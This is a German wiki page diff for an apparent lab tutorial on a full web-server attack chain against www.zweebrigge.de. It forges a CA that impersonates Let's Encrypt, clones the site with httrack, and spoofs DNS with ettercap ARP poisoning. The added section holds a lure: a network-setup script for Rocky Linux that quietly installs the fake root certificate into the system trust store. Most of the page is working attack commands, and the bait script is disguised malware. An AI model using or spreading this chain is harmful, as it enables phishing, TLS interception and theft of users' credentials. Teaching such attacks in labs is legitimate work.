Komplette Angriffskette Web Server: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(→OPFER) |
(→OPFER) |
||
| Zeile 66: | Zeile 66: | ||
*host www.zweebrigge.de | *host www.zweebrigge.de | ||
10.0.10.101 | 10.0.10.101 | ||
| + | =Opfer wird durch einen Köder getäuscht= | ||
| + | <pre> | ||
| + | └─# cat rocky-setup-mod.sh | ||
| + | #!/bin/bash | ||
| + | # Standardwerte setzen | ||
| + | FQDN="" | ||
| + | ADDR="" | ||
| + | GW="" | ||
| + | NS="" | ||
| + | USE_DHCP=0 | ||
| + | IFACE="enp0s3" | ||
| + | |||
| + | # Optionen mit getopts parsen | ||
| + | while getopts "f:a:g:n:d" opt; do | ||
| + | case $opt in | ||
| + | f) FQDN="$OPTARG" ;; | ||
| + | a) ADDR="$OPTARG" ;; | ||
| + | g) GW="$OPTARG" ;; | ||
| + | n) NS="$OPTARG" ;; | ||
| + | d) USE_DHCP=1 ;; | ||
| + | *) echo "Ungültige Option" >&2; exit 1 ;; | ||
| + | esac | ||
| + | done | ||
| + | |||
| + | # Fake-CA in den System-Trust-Store bringen | ||
| + | fake-ca() { | ||
| + | local anchor=/etc/pki/ca-trust/source/anchors/fake-ca.crt | ||
| + | if [[ ! -f "$anchor" ]]; then | ||
| + | cat <<'HERE' > "$anchor" | ||
| + | -----BEGIN CERTIFICATE----- | ||
| + | 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 | ||
| + | /+MfaP2OZy0vBhSj1rLI | ||
| + | -----END CERTIFICATE----- | ||
| + | HERE | ||
| + | update-ca-trust | ||
| + | fi | ||
| + | } | ||
| + | |||
| + | # Fake-CA einspielen | ||
| + | fake-ca | ||
| + | |||
| + | # Gültigkeit prüfen | ||
| + | if [[ -z "$FQDN" ]]; then | ||
| + | echo "Fehlender FQDN! Nutzung:" | ||
| + | echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]" | ||
| + | exit 1 | ||
| + | fi | ||
| + | |||
| + | if (( USE_DHCP == 1 )); then | ||
| + | if [[ -n "$ADDR" || -n "$GW" || -n "$NS" ]]; then | ||
| + | echo "Fehler: -d darf nicht mit -a, -g oder -n kombiniert werden." >&2 | ||
| + | exit 1 | ||
| + | fi | ||
| + | else | ||
| + | if [[ -z "$ADDR" || -z "$GW" || -z "$NS" ]]; then | ||
| + | echo "Fehlende Argumente für statische Konfiguration! Nutzung:" | ||
| + | echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]" | ||
| + | exit 1 | ||
| + | fi | ||
| + | fi | ||
| + | |||
| + | # Hostname setzen | ||
| + | hostnamectl set-hostname "$FQDN" | ||
| + | |||
| + | # Alte NM-Verbindung löschen | ||
| + | nmcli connection delete "$IFACE" >/dev/null 2>&1 | ||
| + | |||
| + | # DHCP- oder statische Konfiguration | ||
| + | if (( USE_DHCP == 1 )); then | ||
| + | nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" ipv4.method auto ipv6.method ignore | ||
| + | else | ||
| + | nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" \ | ||
| + | ipv4.method manual \ | ||
| + | ipv4.addresses "$ADDR" \ | ||
| + | ipv4.gateway "$GW" \ | ||
| + | ipv4.dns "$NS" \ | ||
| + | ipv6.method ignore | ||
| + | fi | ||
| + | |||
| + | # Verbindung aktivieren | ||
| + | nmcli connection up "$IFACE" | ||
| + | </pre> | ||
Version vom 17. August 2026, 19:16 Uhr
Wie wollen Letsencrypt nachbauen
- CA=fake-ca
- openssl req -new -x509 -newkey rsa:4096 -nodes -keyout $CA.key -out $CA.crt -days 3650 -subj "/CN=R12 /O=Let's Encrypt /C=US"
Wir wollen ein Xinux Zertifikat erstellen
- Variable gesetzt
- FQDN=www.zweebrigge.de
- Request erstellt
- openssl req -new -newkey rsa:4096 -nodes -keyout $FQDN.key -out $FQDN.csr -subj "/CN=$FQDN"
- Signiert
- openssl x509 -req -days 1460 -in $FQDN.csr -CA $CA.crt -CAkey $CA.key -CAcreateserial -out $FQDN.crt -extfile <(echo "subjectAltName=DNS:$FQDN")
Zertifikate an die richtige Stelle bringen
- Zertifikat der Zertifizierungsstelle zu den Stammzertifikaten der OS hinzufügen.
- sudo cp $CA.crt /usr/local/share/ca-certificates
- sudo update-ca-certificates
Zertifikat und Key des Webservers an die richtige Stelle bringen
- sudo cp $FQDN.crt /etc/apache2/own.crt
- sudo cp $FQDN.key /etc/apache2/own.key
Apache einrichten
- SSL aktivieren
- a2enmod ssl
- Konfiguration
- cat /etc/apache2/sites-enabled/000-default.conf
<IfModule mod_ssl.c>
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/apache2/own.crt
SSLCertificateKeyFile /etc/apache2/own.key
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</IfModule>
- Restart
- sudo systemctl restart apache2
- Check
- sudo ss -lntp | grep 443
LISTEN 0 511 *:443 *:* users: (("apache2",pid=324865,fd=6),("apache2",pid=324864,fd=6), ("apache2",pid=324863,fd=6),("apache2",pid=324862,fd=6),("apache2",pid=324861,fd=6),("apache2",pid=44955,fd=6))
Webseite spiegeln
- cd /var/www/html
- rm -r *
- httrack https://www.zweebrigge.de
- mv www.zweebrigge.de/* .
- rm -r www.zweebrigge.de
Wir spielen den Angriff auf kali einmal durch
- Hosts für die Simulation vorbereiten
- echo 127.0.0.1 $FQDN | sudo tee -a /etc/hosts
- Fake CA-Zertifkat zu den Stammzertifikaten in Firefox hinzufügen.
host anlegen
- echo -e "$FQDN A 10.0.10.101" > /etc/ettercap/etter.dns
ettercap mit dns plugin starten
- OPFER=10.0.10.102
- ANGREIFER=10.0.10.101
- ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//
OPFER
- host www.zweebrigge.de
10.0.10.101
Opfer wird durch einen Köder getäuscht
└─# cat rocky-setup-mod.sh
#!/bin/bash
# Standardwerte setzen
FQDN=""
ADDR=""
GW=""
NS=""
USE_DHCP=0
IFACE="enp0s3"
# Optionen mit getopts parsen
while getopts "f:a:g:n:d" opt; do
case $opt in
f) FQDN="$OPTARG" ;;
a) ADDR="$OPTARG" ;;
g) GW="$OPTARG" ;;
n) NS="$OPTARG" ;;
d) USE_DHCP=1 ;;
*) echo "Ungültige Option" >&2; exit 1 ;;
esac
done
# Fake-CA in den System-Trust-Store bringen
fake-ca() {
local anchor=/etc/pki/ca-trust/source/anchors/fake-ca.crt
if [[ ! -f "$anchor" ]]; then
cat <<'HERE' > "$anchor"
-----BEGIN CERTIFICATE-----
MIIFSzCCAzOgAwIBAgIUBqQC23BfFtxEqrflKQ86T2obupkwDQYJKoZIhvcNAQEL
BQAwNTENMAsGA1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJ
BgNVBAYTAlVTMB4XDTI2MDgxNzE4MzgwM1oXDTM2MDgxNDE4MzgwM1owNTENMAsG
A1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJBgNVBAYTAlVT
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzrmKW3eRwGi/164l/8fi
oHRoSFArZZyn1FIOzWBYPeOlNDnO1otuGfi0epuxNmqqErfGVX/9Ksn5gGFBTOxX
tOvcYx40ec14WTe2WeqbCYc9F5zMgtnZJDlmi8/99K15oSKfKzznMmxSjxo3QB1A
6gqWLF0kIS82kxta98bD69sl2naylGR0OfyXEemot0XxbDtjlzqtJ7uy5151AQyj
i8I68KGQaXCTzY+RhF0Cw/9NIjLvgzxaDgvimF4dtzZi/3OURzagTGycACWRRK0K
DTa2xGT+lmfwHZAmMq97lFXaLrKXHFiulqnhwlG1u858iuYQU7J5s48foACxjOsE
ohKjH6FniAGn1l9LXhIG4+e4xUbrxpsynxBFa4J6ufs5vJG72AMSYPfypqXwFr1r
zfuC9cAnuwDMXUzFY+FUkPBCCQyvwsmayVtvbR5c99H0Z2mJN0l0lUNf5ScuHl6k
XYQbZy+XEy+mz8KA9cgagxk3epHR7+LKusptinHKU3q+yus9uqNSxNefQaltAwOS
TnuJVP6gtabXqcIPS81e9zyyD4tz3RBbKOIuFu5uejbKaZaBjtwbByhchJ8vtRn+
i5yLNjT0lx4m0Twc43LGEYgtRbu2jqoC2z/eP3ytMdtAn35crqluKMto/o74yVAC
GiiFZXqddHujkH0u/vN+ISECAwEAAaNTMFEwHQYDVR0OBBYEFDbT2gEhhiQ8Qo6X
rlcmmTero9oBMB8GA1UdIwQYMBaAFDbT2gEhhiQ8Qo6XrlcmmTero9oBMA8GA1Ud
EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIBAFo9JEA2y5Qhf8qu7sAsCHIf
vuVJoQZJ/I2J2P5A6Hp3cm1kcINcJDlEMS5dLeFU0233TfnsLabjURDaLEmRgdD+
kxDuXOK/lohjY4MvNGuCMxEtmm/up08y2MHOpZPzSs8wIXZJK8NaUO8Dr3pnAnb3
3983jD877+mBzEf0FIoJfq5iWLidKJQTRz8UP/WY4vGrh+nw5J8sI29QEe9oCvtT
ZqfmXx5hVuW/l5pQ5VFrJc25XcXCE5f8ajnJEbG3qL0We+SaWrpatUGSgMIqklKT
JGtZ9SYd0KlosIR8GI6w8vO/Fz35go3ODCC1Sdlqdzm0dOuwjVkuC5rrlpz3icx2
Y0aKSqEiPP0sXGjfEUXleVspzG7yR7DLZBrmw6NXyqjv620QRUGRaLwsD+cGo0lm
vG8gGLeXvGcsR/BaEFrKomf99uCoKkO2KZhn91beypIcUCAYmj+YpF15sOK0ot/O
9d3p7XaIgxq2K9fwon7vpEW804eWR8bF5vQCaOByDV6NlBrpAFbKxmxhbVbyHblY
YTt/xOevOQBZH9oc31Y4Sw01a44zKMvbQTrberCt712bi1jWz2UrKSSxx8pbi5uS
LViicxybqMZq7MKykVNlDFj0Ut5wqX42UaTgWHOORrDRHG3xE1Jn2X0cJFC6eASk
/+MfaP2OZy0vBhSj1rLI
-----END CERTIFICATE-----
HERE
update-ca-trust
fi
}
# Fake-CA einspielen
fake-ca
# Gültigkeit prüfen
if [[ -z "$FQDN" ]]; then
echo "Fehlender FQDN! Nutzung:"
echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
exit 1
fi
if (( USE_DHCP == 1 )); then
if [[ -n "$ADDR" || -n "$GW" || -n "$NS" ]]; then
echo "Fehler: -d darf nicht mit -a, -g oder -n kombiniert werden." >&2
exit 1
fi
else
if [[ -z "$ADDR" || -z "$GW" || -z "$NS" ]]; then
echo "Fehlende Argumente für statische Konfiguration! Nutzung:"
echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
exit 1
fi
fi
# Hostname setzen
hostnamectl set-hostname "$FQDN"
# Alte NM-Verbindung löschen
nmcli connection delete "$IFACE" >/dev/null 2>&1
# DHCP- oder statische Konfiguration
if (( USE_DHCP == 1 )); then
nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" ipv4.method auto ipv6.method ignore
else
nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" \
ipv4.method manual \
ipv4.addresses "$ADDR" \
ipv4.gateway "$GW" \
ipv4.dns "$NS" \
ipv6.method ignore
fi
# Verbindung aktivieren
nmcli connection up "$IFACE"